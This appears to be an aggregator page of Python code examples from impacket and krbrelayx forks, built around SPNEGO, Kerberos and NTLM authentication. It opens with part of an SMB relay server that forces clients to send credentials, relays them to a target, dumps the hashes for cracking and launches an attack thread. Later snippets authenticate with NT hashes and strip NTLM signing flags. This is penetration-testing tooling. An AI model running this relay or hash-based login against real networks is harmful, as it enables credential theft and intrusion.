                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']
            #############################################################
            # SMBRelay
            smbClient = smbData[self.target]['SMBClient']
            if sessionSetupData['Account'] != '':
                #TODO: Fix this for other protocols than SMB [!]
                clientResponse, errorCode = smbClient.login_standard(
                    sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = '\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                logging.info(ntlm_hash_data['hash_string'])
                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())
                #TODO: Fix this for other protocols than SMB [!]
                clientThread = self.config.attacks['SMB'](self.config,
                                                          smbClient,
                                                          self.config.exeFile,
                                                          self.config.command)
                clientThread.start()

                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)

                # Remove the target server from our connection list, the work is done
                del (smbData[self.target])
                # Now continue with the server

            #############################################################

            # Do the verification here, for just now we grant access
            # TODO: Manage more UIDs for the same session
            errorCode = STATUS_SUCCESS
            connData['Uid'] = 10
            respParameters['Action'] = 0

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True
        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
コード例 #23
0
ファイル: addcomputer.py プロジェクト: shanfenglan/impacket
    def LDAP3KerberosLogin(self,
                           connection,
                           user,
                           password,
                           domain='',
                           lmhash='',
                           nthash='',
                           aesKey='',
                           kdcHost=None,
                           TGT=None,
                           TGS=None,
                           useCache=True):
        from pyasn1.codec.ber import encoder, decoder
        from pyasn1.type.univ import noValue
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: True, raises an Exception if error.
        """

        if lmhash != '' or nthash != '':
            if len(lmhash) % 2:
                lmhash = '0' + lmhash
            if len(nthash) % 2:
                nthash = '0' + nthash
            try:  # just in case they were converted already
                lmhash = unhexlify(lmhash)
                nthash = unhexlify(nthash)
            except TypeError:
                pass

        # Importing down here so pyasn1 is not required if kerberos is not used.
        from impacket.krb5.ccache import CCache
        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
        from impacket.krb5 import constants
        from impacket.krb5.types import Principal, KerberosTime, Ticket
        import datetime

        if TGT is not None or TGS is not None:
            useCache = False

        if useCache:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except Exception as e:
                # No cache present
                print(e)
                pass
            else:
                # retrieve domain information from CCache file if needed
                if domain == '':
                    domain = ccache.principal.realm['data'].decode('utf-8')
                    logging.debug('Domain retrieved from CCache: %s' % domain)

                logging.debug('Using Kerberos Cache: %s' %
                              os.getenv('KRB5CCNAME'))
                principal = 'ldap/%s@%s' % (self.__target.upper(),
                                            domain.upper())

                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(),
                                                  domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        logging.debug('Using TGT from cache')
                    else:
                        logging.debug('No valid credentials found in cache')
                else:
                    TGS = creds.toTGS(principal)
                    logging.debug('Using TGS from cache')

                # retrieve user information from CCache file if needed
                if user == '' and creds is not None:
                    user = creds['client'].prettyPrint().split(b'@')[0]
                    logging.debug('Username retrieved from CCache: %s' % user)
                elif user == '' and len(ccache.principal.components) > 0:
                    user = ccache.principal.components[0]['data']
                    logging.debug('Username retrieved from CCache: %s' % user)

        # First of all, we need to get a TGT for the user
        userName = Principal(
            user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        if TGT is None:
            if TGS is None:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                    userName, password, domain, lmhash, nthash, aesKey,
                    kdcHost)
        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        if TGS is None:
            serverName = Principal(
                'ldap/%s' % self.__target,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                serverName, domain, kdcHost, tgt, cipher, sessionKey)
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']

            # Let's build a NegTokenInit with a Kerberos REQ_AP

        blob = SPNEGO_NegTokenInit()

        # Kerberos
        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

        # Let's extract the ticket from the TGS
        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        # Now let's build the AP_REQ
        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = []
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = domain
        seq_set(authenticator, 'cname', userName.components_to_asn1)
        now = datetime.datetime.utcnow()

        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 11
        # AP-REQ Authenticator (includes application authenticator
        # subkey), encrypted with the application session key
        # (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
                                                       encodedAuthenticator,
                                                       None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        blob['MechToken'] = encoder.encode(apReq)

        request = ldap3.operation.bind.bind_operation(connection.version,
                                                      ldap3.SASL, user, None,
                                                      'GSS-SPNEGO',
                                                      blob.getData())

        # Done with the Kerberos saga, now let's get into LDAP
        if connection.closed:  # try to open connection if closed
            connection.open(read_server_info=False)

        connection.sasl_in_progress = True
        response = connection.post_send_single_response(
            connection.send('bindRequest', request, None))
        connection.sasl_in_progress = False
        if response[0]['result'] != 0:
            raise Exception(response)

        connection.bound = True

        return True
コード例 #24
0
    def kerberosLogin(self,
                      user,
                      password,
                      domain='',
                      lmhash='',
                      nthash='',
                      aesKey='',
                      kdcHost=None,
                      TGT=None,
                      TGS=None,
                      useCache=True):
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: True, raises a LDAPSessionError if error.
        """

        if lmhash != '' or nthash != '':
            if len(lmhash) % 2: lmhash = '0%s' % lmhash
            if len(nthash) % 2: nthash = '0%s' % nthash
            try:  # just in case they were converted already
                lmhash = unhexlify(lmhash)
                nthash = unhexlify(nthash)
            except:
                pass

        # Importing down here so pyasn1 is not required if kerberos is not used.
        from impacket.krb5.ccache import CCache
        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
        from impacket.krb5 import constants
        from impacket.krb5.types import Principal, KerberosTime, Ticket
        from pyasn1.codec.der import decoder, encoder
        import datetime

        if TGT is not None or TGS is not None:
            useCache = False

        if useCache is True:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except:
                # No cache present
                pass
            else:
                # retrieve user and domain information from CCache file if needed
                if user == '' and len(ccache.principal.components) > 0:
                    user = ccache.principal.components[0]['data']
                if domain == '':
                    domain = ccache.principal.realm['data']
                LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
                principal = 'ldap/%s@%s' % (self._dstHost.upper(),
                                            domain.upper())
                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(),
                                                  domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        LOG.debug('Using TGT from cache')
                    else:
                        LOG.debug("No valid credentials found in cache. ")
                else:
                    TGS = creds.toTGS()
                    LOG.debug('Using TGS from cache')

        # First of all, we need to get a TGT for the user
        userName = Principal(
            user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        if TGT is None:
            if TGS is None:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                    userName, password, domain, lmhash, nthash, aesKey,
                    kdcHost)
        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        if TGS is None:
            serverName = Principal(
                'ldap/%s' % self._dstHost,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                serverName, domain, kdcHost, tgt, cipher, sessionKey)
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']

            # Let's build a NegTokenInit with a Kerberos REQ_AP

        blob = SPNEGO_NegTokenInit()

        # Kerberos
        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

        # Let's extract the ticket from the TGS
        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        # Now let's build the AP_REQ
        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = domain
        seq_set(authenticator, 'cname', userName.components_to_asn1)
        now = datetime.datetime.utcnow()

        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 11
        # AP-REQ Authenticator (includes application authenticator
        # subkey), encrypted with the application session key
        # (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
                                                       encodedAuthenticator,
                                                       None)

        apReq['authenticator'] = None
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        blob['MechToken'] = encoder.encode(apReq)

        # Done with the Kerberos saga, now let's get into LDAP

        bindRequest = BindRequest()
        bindRequest['version'] = Integer7Bit(3)
        bindRequest['name'] = LDAPDN(user)
        credentials = SaslCredentials()
        credentials['mechanism'] = LDAPString('GSS-SPNEGO')
        credentials['credentials'] = Credentials(blob.getData())
        bindRequest['authentication'] = AuthenticationChoice(
        ).setComponentByName('sasl', credentials)

        resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']

        if resp['bindResponse']['resultCode'] != 0:
            raise LDAPSessionError(
                errorString='Error in bindRequest -> %s:%s' %
                (resp['bindResponse']['resultCode'].prettyPrint(),
                 resp['bindResponse']['diagnosticMessage']))

        return True
コード例 #25
0
ファイル: kerberosv5.py プロジェクト: 0xc0da/impacket
                        nthash = compute_nthash(password) 
                    else:
                        raise 
                else:
                    raise 
            else:
                break
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey'] 
            break

    # Let's build a NegTokenInit with a Kerberos REQ_AP

    blob = SPNEGO_NegTokenInit() 

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])
    
    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
コード例 #26
0
# Our imports
from impacket.smbconnection import *
from impacket.ntlm import *
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech

# smb packet struct
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]

# build our own hash1
hash1 = getNTLMSSPType1(signingRequired = True)
hash1.dump()
# string to hash1 structure for convenience
h1 = NTLMAuthNegotiate()
h1.fromString(str(hash1))
# test to see if our hash contains a flag
# it will return True if it contains Flase if it does not
False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True
# So lets remove the signing and sealing flags
h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN
# If we wanted to add it back in we could do
h1['flags'] |= NTLMSSP_SIGN


# formatting our hash1 structure:
blob['MechToken'] = str(hash1)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer']  = blob.getData()
コード例 #27
0
ファイル: smb.py プロジェクト: awesome-security/impacket
    def getNegoAnswer(self, recvPacket):

        if self.isSMB2 is False:
            smbCommand = SMBCommand(recvPacket['Data'][0])
            respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)

            resp = NewSMBPacket()
            resp['Flags1'] = SMB.FLAGS1_REPLY
            resp['Pid'] = recvPacket['Pid']
            resp['Tid'] = recvPacket['Tid']
            resp['Mid'] = recvPacket['Mid']

            dialects = smbCommand['Data'].split('\x02')
            index = dialects.index('NT LM 0.12\x00') - 1
            # Let's fill the data for NTLM
            if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
                resp['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
                _dialects_data = SMBExtended_Security_Data()
                _dialects_data['ServerGUID'] = 'A' * 16
                blob = SPNEGO_NegTokenInit()
                blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
                _dialects_data['SecurityBlob'] = blob.getData()

                _dialects_parameters = SMBExtended_Security_Parameters()
                _dialects_parameters[
                    'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE
                _dialects_parameters['ChallengeLength'] = 0

            else:
                resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
                _dialects_parameters = SMBNTLMDialect_Parameters()
                _dialects_data = SMBNTLMDialect_Data()
                _dialects_data['Payload'] = ''
                _dialects_data['Challenge'] = '\x11\x22\x33\x44\x55\x66\x77\x88'
                _dialects_parameters['ChallengeLength'] = 8
                _dialects_parameters['Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS

            _dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS
            _dialects_parameters['DialectIndex'] = index
            _dialects_parameters['SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER
            _dialects_parameters['MaxMpxCount'] = 1
            _dialects_parameters['MaxNumberVcs'] = 1
            _dialects_parameters['MaxBufferSize'] = 64000
            _dialects_parameters['MaxRawSize'] = 65536
            _dialects_parameters['SessionKey'] = 0
            _dialects_parameters['LowDateTime'] = 0
            _dialects_parameters['HighDateTime'] = 0
            _dialects_parameters['ServerTimeZone'] = 0

            respSMBCommand['Data'] = _dialects_data
            respSMBCommand['Parameters'] = _dialects_parameters

            resp.addCommand(respSMBCommand)
        else:
            resp= SMB2Packet()
            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
            resp['Status'] = STATUS_SUCCESS
            resp['CreditRequestResponse'] = 1
            resp['CreditCharge'] = 1
            resp['Command'] = SMB2_NEGOTIATE
            resp['SessionID'] = 0
            resp['MessageID'] = 0
            resp['TreeID'] = 0

            respSMBCommand = SMB2Negotiate_Response()

            respSMBCommand['SecurityMode'] = 1
            if isinstance(recvPacket, NewSMBPacket):
                respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD
            else:
                respSMBCommand['DialectRevision'] = self.serverDialect
                resp['MessageID'] = 1
            respSMBCommand['ServerGuid'] = ''.join([random.choice(string.letters) for _ in range(16)])
            respSMBCommand['Capabilities'] = 0x7
            respSMBCommand['MaxTransactSize'] = 65536
            respSMBCommand['MaxReadSize'] = 65536
            respSMBCommand['MaxWriteSize'] = 65536
            respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
            respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
            respSMBCommand['SecurityBufferOffset'] = 0x80

            blob = SPNEGO_NegTokenInit()
            blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
                                 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]

            respSMBCommand['Buffer'] = blob.getData()
            respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

            resp['Data'] = respSMBCommand

        return resp
コード例 #28
0
ファイル: kerberos.py プロジェクト: xhuaix/krbrelayx
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname):
    # Hackery to authenticate with ldap3 using impacket Kerberos stack
    # I originally wrote this for BloodHound.py, but it works fine (tm) here too

    username = Principal(username,
                         type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    servername = Principal('ldap/%s' % hostname,
                           type=constants.PrincipalNameType.NT_SRV_INST.value)
    tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
                                                tgt['KDC_REP'], tgt['cipher'],
                                                tgt['sessionKey'])

    # Let's build a NegTokenInit with a Kerberos AP_REQ
    blob = SPNEGO_NegTokenInit()

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])

    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = []
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = domain
    seq_set(authenticator, 'cname', username.components_to_asn1)
    now = datetime.datetime.utcnow()

    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11,
                                                   encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    blob['MechToken'] = encoder.encode(apReq)

    # From here back to ldap3
    ldapconnection.open(read_server_info=False)
    request = bind_operation(ldapconnection.version, SASL, None, None,
                             ldapconnection.sasl_mechanism, blob.getData())
    response = ldapconnection.post_send_single_response(
        ldapconnection.send('bindRequest', request, None))[0]
    ldapconnection.result = response
    if response['result'] == 0:
        ldapconnection.bound = True
        ldapconnection.refresh_server_info()
    return response['result'] == 0